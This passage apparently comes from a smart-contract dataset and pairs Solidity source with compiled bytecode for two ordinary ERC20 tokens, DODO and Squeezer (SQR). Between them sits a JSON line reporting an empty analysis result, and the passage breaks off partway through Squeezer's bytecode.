tokens that `spender` will be * allowed to spend on behalf of `owner` through `transferFrom`. This is * zero by default. * * This value changes when `approve` or `transferFrom` are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * > Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an `Approval` event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to `approve`. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /***************************************************************************** * @dev Basic implementation of the `IERC20` interface. */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See `IERC20.totalSupply`. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev See `IERC20.balanceOf`. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See `IERC20.transfer`. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See `IERC20.allowance`. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See `IERC20.approve`. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } /** * @dev See `IERC20.transferFrom`. * * Emits an `Approval` event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of `ERC20`; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `value`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to `transfer`, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a `Transfer` event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a `Transfer` event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destoys `amount` tokens from `account`, reducing the * total supply. * * Emits a `Transfer` event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an `Approval` event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } /** * @dev Destoys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See `_burn` and `_approve`. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount)); } } /***************************************************************************** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be aplied to your functions to restrict their use to * the owner. */ contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return msg.sender == _owner; } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Paused(); event Unpaused(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() public onlyOwner whenNotPaused { paused = true; emit Paused(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() public onlyOwner whenPaused { paused = false; emit Unpaused(); } } /** * @title Pausable token * @dev ERC20 modified with pausable transfers. **/ contract ERC20Pausable is ERC20, Pausable { function transfer(address to, uint256 value) public whenNotPaused returns (bool) { return super.transfer(to, value); } function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) { return super.transferFrom(from, to, value); } function approve(address spender, uint256 value) public whenNotPaused returns (bool) { return super.approve(spender, value); } function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool success) { return super.increaseAllowance(spender, addedValue); } function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseAllowance(spender, subtractedValue); } } /***************************************************************************** * @title DODO * @dev DODO is an ERC20 implementation of the DODO ecosystem token. * All tokens are initially pre-assigned to the creator, and can later be distributed * freely using transfer transferFrom and other ERC20 functions. */ contract DODO is Ownable, ERC20Pausable { string public constant name = "DODO"; string public constant symbol = "DODO"; uint8 public constant decimals = 18; uint256 public constant initialSupply = 10304345*10**uint256(decimals); /** * @dev Constructor that gives msg.sender all of existing tokens. */ constructor () public { _mint(msg.sender, initialSupply); } /** * @dev Destoys `amount` tokens from the caller. * * See `ERC20._burn`. */ function burn(uint256 amount) public { _burn(msg.sender, amount); } /** * @dev See `ERC20._burnFrom`. */ function burnFrom(address account, uint256 amount) public { _burnFrom(account, amount); } event DepositReceived(address indexed from, uint256 value); }
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c806370a08231116100ad57806395d89b411161007157806395d89b4114610131578063a457c2d714610345578063a9059cbb14610371578063dd62ed3e1461039d578063f2fde38b146103cb5761012c565b806370a08231146102bf57806379cc6790146102e55780638456cb59146103115780638da5cb5b146103195780638f32d59b1461033d5761012c565b8063378dc3dc116100f4578063378dc3dc1461025c57806339509351146102645780633f4ba83a1461029057806342966c681461029a5780635c975abb146102b75761012c565b806306fdde0314610131578063095ea7b3146101ae57806318160ddd146101ee57806323b872dd14610208578063313ce5671461023e575b600080fd5b6101396103f1565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561017357818101518382015260200161015b565b50505050905090810190601f1680156101a05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101da600480360360408110156101c457600080fd5b506001600160a01b038135169060200135610411565b604080519115158252519081900360200190f35b6101f661043c565b60408051918252519081900360200190f35b6101da6004803603606081101561021e57600080fd5b506001600160a01b03813581169160208101359091169060400135610442565b61024661046f565b6040805160ff9092168252519081900360200190f35b6101f6610474565b6101da6004803603604081101561027a57600080fd5b506001600160a01b038135169060200135610483565b6102986104a7565b005b610298600480360360208110156102b057600080fd5b503561054e565b6101da61055b565b6101f6600480360360208110156102d557600080fd5b50356001600160a01b031661056b565b610298600480360360408110156102fb57600080fd5b506001600160a01b038135169060200135610586565b610298610594565b610321610642565b604080516001600160a01b039092168252519081900360200190f35b6101da610651565b6101da6004803603604081101561035b57600080fd5b506001600160a01b038135169060200135610662565b6101da6004803603604081101561038757600080fd5b506001600160a01b038135169060200135610686565b6101f6600480360360408110156103b357600080fd5b506001600160a01b03813581169160200135166106aa565b610298600480360360208110156103e157600080fd5b50356001600160a01b03166106d5565b60405180604001604052806004815260200163444f444f60e01b81525081565b600354600090600160a01b900460ff161561042b57600080fd5b61043583836107cf565b9392505050565b60025490565b600354600090600160a01b900460ff161561045c57600080fd5b6104678484846107e5565b949350505050565b601281565b6a088607a968945d3dc4000081565b600354600090600160a01b900460ff161561049d57600080fd5b610435838361083c565b6104af610651565b610500576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600354600160a01b900460ff1661051657600080fd5b6003805460ff60a01b191690556040517fa45f47fdea8a1efdd9029a5691c7f759c32b7c698632b563573e155625d1693390600090a1565b6105583382610878565b50565b600354600160a01b900460ff1681565b6001600160a01b031660009081526020819052604090205490565b6105908282610951565b5050565b61059c610651565b6105ed576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600354600160a01b900460ff161561060457600080fd5b6003805460ff60a01b1916600160a01b1790556040517f9e87fac88ff661f02d44f95383c817fece4bce600a3dab7a54406878b965e75290600090a1565b6003546001600160a01b031690565b6003546001600160a01b0316331490565b600354600090600160a01b900460ff161561067c57600080fd5b6104358383610996565b600354600090600160a01b900460ff16156106a057600080fd5b61043583836109d2565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6106dd610651565b61072e576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b0381166107735760405162461bcd60e51b8152600401808060200182810382526026815260200180610ce86026913960400191505060405180910390fd5b6003546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600380546001600160a01b0319166001600160a01b0392909216919091179055565b60006107dc3384846109df565b50600192915050565b60006107f2848484610acb565b6001600160a01b03841660009081526001602090815260408083203380855292529091205461083291869161082d908663ffffffff610c0d16565b6109df565b5060019392505050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916107dc91859061082d908663ffffffff610c6a16565b6001600160a01b0382166108bd5760405162461bcd60e51b8152600401808060200182810382526021815260200180610d306021913960400191505060405180910390fd5b6002546108d0908263ffffffff610c0d16565b6002556001600160a01b0382166000908152602081905260409020546108fc908263ffffffff610c0d16565b6001600160a01b038316600081815260208181526040808320949094558351858152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a35050565b61095b8282610878565b6001600160a01b03821660009081526001602090815260408083203380855292529091205461059091849161082d908563ffffffff610c0d16565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916107dc91859061082d908663ffffffff610c0d16565b60006107dc338484610acb565b6001600160a01b038316610a245760405162461bcd60e51b8152600401808060200182810382526024815260200180610d766024913960400191505060405180910390fd5b6001600160a01b038216610a695760405162461bcd60e51b8152600401808060200182810382526022815260200180610d0e6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610b105760405162461bcd60e51b8152600401808060200182810382526025815260200180610d516025913960400191505060405180910390fd5b6001600160a01b038216610b555760405162461bcd60e51b8152600401808060200182810382526023815260200180610cc56023913960400191505060405180910390fd5b6001600160a01b038316600090815260208190526040902054610b7e908263ffffffff610c0d16565b6001600160a01b038085166000908152602081905260408082209390935590841681522054610bb3908263ffffffff610c6a16565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600082821115610c64576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b600082820183811015610435576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fdfe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a265627a7a7231582064ca39d4067a60f5a692a4d4d3c3e9d738f03dae29c67b253b1b09c9e62198b864736f6c63430005110032
{"success": true, "error": null, "results": {}}
464
0x245582ba3279d018a97d37e4cc320fc88f9bcfe1
pragma solidity ^0.4.23; // File: contracts/token/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } } // File: contracts/token/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: contracts/token/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } // File: contracts/token/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } // File: contracts/token/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } // File: contracts/token/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: contracts/token/BurnableToken.sol /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is Ownable, StandardToken { event Burn(address indexed from, uint256 value); /** * @dev burns all remaining token supply */ function burnRemainingTokens() onlyOwner public { address burner = msg.sender; emit Burn(burner, balances[burner]); balances[burner] = 0; totalSupply_ = 0; } } // File: contracts/Token.sol contract SqueezerToken is StandardToken,BurnableToken { string public constant name = "Squeezer"; // solium-disable-line uppercase string public constant symbol = "SQR"; // solium-disable-line uppercase uint8 public constant decimals = 18; // solium-disable-line uppercase uint256 public constant INITIAL_SUPPLY = 187500000 * (10 ** uint256(decimals)); /** * @dev Constructor that gives msg.sender all of existing tokens. */ constructor() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(0x0, msg.sender, INITIAL_SUPPLY); } }
0x6080604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100eb578063095ea7b31461017b57806318160ddd146101e057806323b872dd1461020b5780632ff2e9dc14610290578063313ce567146102bb57806366188463146102ec57806370a0823114610351578063715018a6146103a857806383408d73146103bf5780638da5cb5b146103d657806395d89b411461042d578063a9059cbb146104bd578063d73dd62314610522578063dd62ed3e14610587578063f2fde38b146105fe575b600080fd5b3480156100f757600080fd5b50610100610641565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610140578082015181840152602081019050610125565b50505050905090810190601f16801561016d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018757600080fd5b506101c6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061067a565b604051808215151515815260200191505060405180910390f35b3480156101ec57600080fd5b506101f561076c565b6040518082815260200191505060405180910390f35b34801561021757600080fd5b50610276600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610776565b604051808215151515815260200191505060405180910390f35b34801561029c57600080fd5b506102a5610b35565b6040518082815260200191505060405180910390f35b3480156102c757600080fd5b506102d0610b46565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102f857600080fd5b50610337600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b4b565b604051808215151515815260200191505060405180910390f35b34801561035d57600080fd5b50610392600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ddc565b6040518082815260200191505060405180910390f35b3480156103b457600080fd5b506103bd610e25565b005b3480156103cb57600080fd5b506103d4610f27565b005b3480156103e257600080fd5b506103eb611064565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561043957600080fd5b50610442611089565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610482578082015181840152602081019050610467565b50505050905090810190601f1680156104af5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104c957600080fd5b50610508600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110c2565b604051808215151515815260200191505060405180910390f35b34801561052e57600080fd5b5061056d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506112e6565b604051808215151515815260200191505060405180910390f35b34801561059357600080fd5b506105e8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114e2565b6040518082815260200191505060405180910390f35b34801561060a57600080fd5b5061063f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611569565b005b6040805190810160405280600881526020017f53717565657a657200000000000000000000000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600254905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156107b357600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561080157600080fd5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561088c57600080fd5b6108de82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116be90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061097382600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116d790919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a4582600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116be90919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601260ff16600a0a630b2d05e00281565b601281565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610c5c576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610cf0565b610c6f83826116be90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e8057600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a260008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f8457600080fd5b3390508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a26000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600060028190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f535152000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156110ff57600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561114d57600080fd5b61119f82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116be90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061123482600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116d790919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160